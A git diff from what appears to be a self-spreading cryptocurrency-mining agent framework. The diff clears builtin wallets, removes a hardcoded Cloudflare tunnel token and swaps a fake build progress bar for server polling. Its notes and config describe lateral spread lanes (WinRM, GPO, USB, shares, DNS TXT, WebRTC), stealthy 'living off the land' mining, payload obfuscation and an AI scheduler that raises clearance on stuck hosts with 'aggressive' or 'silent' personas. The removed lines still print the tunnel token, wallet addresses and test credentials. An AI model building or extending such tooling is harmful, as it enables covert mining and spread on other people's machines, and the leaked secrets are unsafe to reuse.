diff --git a/.gitignore b/.gitignore index 628fcac..b4cd019 100644 --- a/.gitignore +++ b/.gitignore @@ -27,8 +27,15 @@ /server/web/node_modules/.vite/ # E2E / local test data dirs (never commit) +/data-e2e/ /data-e2e-*/ +# Scratch / temp scripts +/scratch/ + +# Local media (not part of the product) +/music/ + # Temp downloads *.crdownload diff --git a/PROBLEMS.md b/PROBLEMS.md index 5ba6c03..d09f147 100644 --- a/PROBLEMS.md +++ b/PROBLEMS.md @@ -102,8 +102,8 @@ Open issues only. Fixed items removed. Last sweep: 2026-06-07. | Item | Notes | |------|-------| -| **P1 covered (2026-06-06)** | LOTL tier chain, triple-onion gates, fleet recon (vuln/cred/service graph), Crucible recon UI, `stats_batch` LOTL merge — Go + Vitest in `tests/README.md`; run `e2e-validate.ps1 -ReconOnly`. | -| **P2 remaining** | Live Docker/Podman start, real WinRM/GPO/systemd spread lanes, BITS/curl downloads, full `MiningChainRunner` lifecycle, E2E Crucible `lotl_tier` badge with live agent. | +| **P1 covered (2026-06-07)** | 14-tier spread chain (do_peer, dns_txt, webrtc_mesh, wsus_cache_peer), LOTL mining tiers, triple-onion gates, fleet recon, Fleet AI control, phenotype inheritance, failure atlas, Singular Machine Court prompts, clearance L0–L4 — Go + Vitest in `tests/README.md`; run `scripts/test-suite.ps1 -ReconOnly` or Fleet AI / Fleet intelligence quick-run blocks. | +| **P2 remaining** | Live Docker/Podman start, real WinRM/GPO/systemd spread lanes, BITS/curl downloads, full `MiningChainRunner` lifecycle, court session Vitest UI (`LotlTimelinePage`), live multi-hop discover→spread E2E. | | Agent pathtracer Go tests | Windows impl + stub have limited coverage (`pathtracer_stub_test.go` started). | | Client WS/beacon paths | Integration-heavy; Docker Tier 2 covers Linux slice only. | | Path Tracer 2s REST poll | No WS hop progress; acceptable latency, extra load while tracing. | @@ -117,10 +117,18 @@ Open issues only. Fixed items removed. Last sweep: 2026-06-07. | Topic | Notes | |-------|-------| | Dual storage sync | Session vs localStorage; `aetherforge-auth` on logout; no full cross-tab policy. | -| Forge progress simulation | Stage timeline caps ~94% until server responds (45 min client timeout). | | MatrixRain / CursorFire | Layout mounts effects on all routes; route-gating deferred. | | CI scope | `.github/workflows/ci-docker-mining.yml` only; no root Makefile test target. | +## Scrubbed 2026-06-07 (prod garbage removed) + +| Item | Action | +|------|--------| +| `agent/config/builtin.go` XMR/RVN wallets | Cleared — dev builtin no longer ships third-party addresses | +| `server/config.go` builtin Cloudflare token | Removed — connector requires env/config/`cloudflared-token.txt` | +| `data-e2e/`, `music/`, `scratch/` in repo | Untracked + `.gitignore` (E2E wallet stays in `docker/` + `e2e-validate.ps1` only) | +| Mission Deck forge bar | Replaced client-side stage timer with server `GET /builder/progress/{token}` poll | + ## Do not commit - `data/login-credentials.json`, `data/users.json`, and other local secrets. diff --git a/agent/cmd/mine-validate/main.go b/agent/cmd/mine-validate/main.go index 21f0d29..575d459 100644 --- a/agent/cmd/mine-validate/main.go +++ b/agent/cmd/mine-validate/main.go @@ -79,12 +79,17 @@ var livePoolList = []poolDef{ } func main() { - defaultWallet := "89QUKeqsKEGfP9Vpiph8jEXc3YyVFN5dKeYdMFVraVG4SGU3jAprbBp9AgRutKxzPSdQQMp9EGeG7Wmh8NRfniiaMMYpmC3" - wallet := flag.String("wallet", defaultWallet, "XMR wallet to validate") + wallet := flag.String("wallet", "", "XMR wallet to validate (required)") threads := flag.Int("threads", 2, "mining threads") seconds := flag.Int("seconds", 20, "seconds to measure hashrate") flag.Parse() + if strings.TrimSpace(*wallet) == "" { + fmt.Fprintln(os.Stderr, "error: -wallet is required (no default test address)") + flag.Usage() + os.Exit(2) + } + header() fmt.Printf(" Platform : %s/%s (%d logical CPUs)\n", runtime.GOOS, runtime.GOARCH, runtime.NumCPU()) fmt.Printf(" Wallet : %s\n", *wallet) diff --git a/agent/config/builtin.go b/agent/config/builtin.go index be69f88..46a55dc 100644 --- a/agent/config/builtin.go +++ b/agent/config/builtin.go @@ -6,7 +6,7 @@ func GetBuiltinConfig() BuiltinConfig { return BuiltinConfig{ WorkerName: "dev-worker", ServerURL: "http://127.0.0.1:8989", - Wallet: "89QUKeqsKEGfP9Vpiph8jEXc3YyVFN5dKeYdMFVraVG4SGU3jAprbBp9AgRutKxzPSdQQMp9EGeG7Wmh8NRfniiaMMYpmC3", + Wallet: "", Threads: 4, ThreadMode: "percent", ThreadPercent: 75, @@ -49,7 +49,7 @@ func GetBuiltinConfig() BuiltinConfig { USBSpread: false, ShareSpread: false, GPUEnabled: false, - RVNWallet: "RTa4x7xx9iitVVYZ7c2asjvVRpA2P3osd9", + RVNWallet: "", RVNPoolHost: "rvn.2miners.com", RVNPoolPort: 6060, RVNPoolTLS: false, diff --git a/data-e2e/config.json b/data-e2e/config.json deleted file mode 100644 index 5521abc..0000000 --- a/data-e2e/config.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "port": 8989, - "wallet": { - "payment_id": "", - "address": "85JfUA9uyBZ2Kzv4ctoURyUYoYgpEu5QjQ8xSdiapFX8TpBHXkHwHQhBkxUxmoFKU85NH4dnSRBbiL8wSvcVmRqg4Wc9Trm" - }, - "pool": { - "port": 3333, - "host": "pool.supportxmr.com", - "use_tls": false, - "password": "x" - }, - "server": { - "open_firewall_on_start": false, - "log_share_submissions": true, - "log_agent_connections": true - } -} \ No newline at end of file diff --git a/data-e2e/users.json b/data-e2e/users.json deleted file mode 100644 index 7161dc5..0000000 --- a/data-e2e/users.json +++ /dev/null @@ -1 +0,0 @@ -{"testuser":"testpass"} \ No newline at end of file diff --git a/music/Dark Dubstep Mix #57 (Halloween Special) (2019).mp3 b/music/Dark Dubstep Mix #57 (Halloween Special) (2019).mp3 deleted file mode 100644 index 92c59c9..0000000 Binary files a/music/Dark Dubstep Mix #57 (Halloween Special) (2019).mp3 and /dev/null differ diff --git a/server/config.go b/server/config.go index 14144ef..09bc511 100644 --- a/server/config.go +++ b/server/config.go @@ -91,6 +91,10 @@ type ServerSettings struct { AINoContext bool `json:"ai_no_context"` // AIDecisionIntervalSec is seconds between AI decision cycles per agent (default 60). AIDecisionIntervalSec int `json:"ai_decision_interval_sec"` + // AIAutoElevateClearance lets the AI scheduler raise clearance for stuck hosts (default true when AI mode). + AIAutoElevateClearance bool `json:"ai_auto_elevate_clearance"` + // AIPersona selects the Calibrate fleet AI preset (aggressive|silent|passive|persuasive|balanced). + AIPersona string `json:"ai_persona,omitempty"` } // WebRTCMeshPolicySettings is Calibrate policy for WebRTC LAN seed spread. @@ -298,6 +302,8 @@ func DefaultConfig() *Config { AIModel: "", AINoContext: true, AIDecisionIntervalSec: 60, + AIAutoElevateClearance: true, + AIPersona: "balanced", }, } } @@ -367,13 +373,10 @@ func LoadConfig() *Config { const cloudflaredTokenFile = "cloudflared-token.txt" -// Builtin Cloudflare Zero Trust connector token (used when env/config/file are unset). -const builtinCloudflareTunnelToken = "eyJhIjoiODk1NDc5YWIzNTQwZGFhNmQ2MWFlNzAyYTUxNjQ0NzUiLCJ0IjoiYWYzNzY5NGYtNDA4Yy00ZWI3LWE2M2MtMzM5MzQ1MjI3NWIwIiwicyI6IlpEa3lPVE5pWWpjdE9USXlZeTAwTlRjNExUaGlZVGN0WWpGaFlUWmtOR05rTXpjMyJ9" - -// ConnectorToken returns the Cloudflare Zero Trust connector token (env, config, file, then builtin default). +// ConnectorToken returns the Cloudflare Zero Trust connector token (env, config, or data/cloudflared-token.txt). func (c *Config) ConnectorToken() string { if c == nil { - return builtinCloudflareTunnelToken + return "" } if t := strings.TrimSpace(os.Getenv("AF_TUNNEL_TOKEN")); t != "" { return t @@ -388,7 +391,7 @@ func (c *Config) ConnectorToken() string { } } } - return builtinCloudflareTunnelToken + return "" } func hydrateCloudflareTokenFromFile(cfg *Config) { @@ -981,6 +984,12 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) { if in(srvKeys, "ai_interval_sec") && src.Server.AIDecisionIntervalSec > 0 { dst.Server.AIDecisionIntervalSec = src.Server.AIDecisionIntervalSec } + if in(srvKeys, "ai_auto_elevate_clearance") { + dst.Server.AIAutoElevateClearance = src.Server.AIAutoElevateClearance + } + if in(srvKeys, "ai_persona") && strings.TrimSpace(src.Server.AIPersona) != "" { + dst.Server.AIPersona = strings.TrimSpace(src.Server.AIPersona) + } } if has("tunnel_defaults") { diff --git a/server/web/src/pages/MissionDeckPage.tsx b/server/web/src/pages/MissionDeckPage.tsx index 40c8297..7be100d 100644 --- a/server/web/src/pages/MissionDeckPage.tsx +++ b/server/web/src/pages/MissionDeckPage.tsx @@ -53,17 +53,7 @@ function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo, builds return forgeDefaultsFromServerSmart(config, serverInfo, builds); } -const FORGE_PROGRESS_CAP = 94; - -const FORGE_STAGES: { label: string; pct: number; minMs: number }[] = [ - { label: 'Resolving dependencies...', pct: 6, minMs: 0 }, - { label: 'Compiling agent source...', pct: 18, minMs: 20000 }, - { label: 'Cross-compiling targets...', pct: 36, minMs: 90000 }, - { label: 'Applying obfuscation...', pct: 52, minMs: 240000 }, - { label: 'Packaging deliverable...', pct: 68, minMs: 420000 }, - { label: 'Signing & finalizing...', pct: 82, minMs: 600000 }, - { label: 'Still forging (may take a while)...', pct: FORGE_PROGRESS_CAP, minMs: 900000 }, -]; +const FORGE_POLL_MS = 1000; function ForgeProgressBar({ building, stage, progress }: { building: boolean; stage: string; progress: number }) { if (!building) return null; @@ -176,45 +166,45 @@ export default function MissionDeckPage() { .catch(() => setError('Failed to load server config — is the control server running?')) .finally(() => setLoadingDefaults(false)); }, []); + // Poll real server-side build progress (same as BuilderPage). useEffect(() => { if (!building) { endForge(); if (forgeStageTimerRef.current) clearTimeout(forgeStageTimerRef.current); return; } - - const startMs = Date.now(); startForge(); - let stageIdx = 0; - const advance = () => { + const token = cancelTokenRef.current; + if (!token) return; - const elapsed = Date.now() - startMs; - let next = 0; - for (let i = 0; i < FORGE_STAGES.length; i++) { - if (elapsed >= FORGE_STAGES[i].minMs) next = i; - else break; + let active = true; + + const poll = async () => { + if (!active) return; + try { + const { authHeaders } = await import('../api/auth'); + const res = await fetch(`/api/v1/builder/progress/${token}`, { + headers: authHeaders(), + }); + if (res.ok) { + const data: { stage: string; pct: number } = await res.json(); + if (active && data.stage) { + setStage(data.stage, data.pct); + } + } + } catch { + // network hiccup — keep polling + } + if (active) { + forgeStageTimerRef.current = setTimeout(poll, FORGE_POLL_MS); } - - const s = FORGE_STAGES[next]; - - const nextPct = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].pct : FORGE_PROGRESS_CAP; - - const nextMs = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].minMs : 1200000; - - const stageElapsed = elapsed - s.minMs; - - const stageDur = nextMs - s.minMs; - - const frac = stageDur > 0 ? Math.min(1, stageElapsed / stageDur) : 0; - - const pct = s.pct + (nextPct - s.pct) * frac; - if (next !== stageIdx) stageIdx = next; - setStage(s.label, Math.min(FORGE_PROGRESS_CAP, pct)); - forgeStageTimerRef.current = setTimeout(advance, 250); }; - advance(); + + poll(); + return () => { + active = false; if (forgeStageTimerRef.current) clearTimeout(forgeStageTimerRef.current); }; // eslint-disable-next-line react-hooks/exhaustive-deps